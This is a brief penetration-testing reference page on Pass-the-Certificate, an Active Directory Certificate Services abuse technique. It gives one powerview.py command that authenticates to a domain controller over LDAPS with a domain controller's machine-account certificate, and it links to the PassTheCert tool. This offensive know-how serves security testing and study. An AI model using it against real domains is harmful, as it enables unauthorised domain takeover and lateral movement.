> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/ad-cs-abuse/ptc.md).

# Pass-the-Certificate

Authenticate with a certificate using [powerview.py](https://github.com/aniqfakhrul/powerview.py):

```
$ powerview --pfx dc01.pfx megacorp.local/'DC01$'@DC01.megacorp.local -p 636 --use-ldaps --no-admin-check --dc-ip 192.168.1.11 -ns 192.168.1.11 [--obfuscate]
```

## Tools

### PassTheCert

* <https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html>
* <https://github.com/AlmondOffSec/PassTheCert>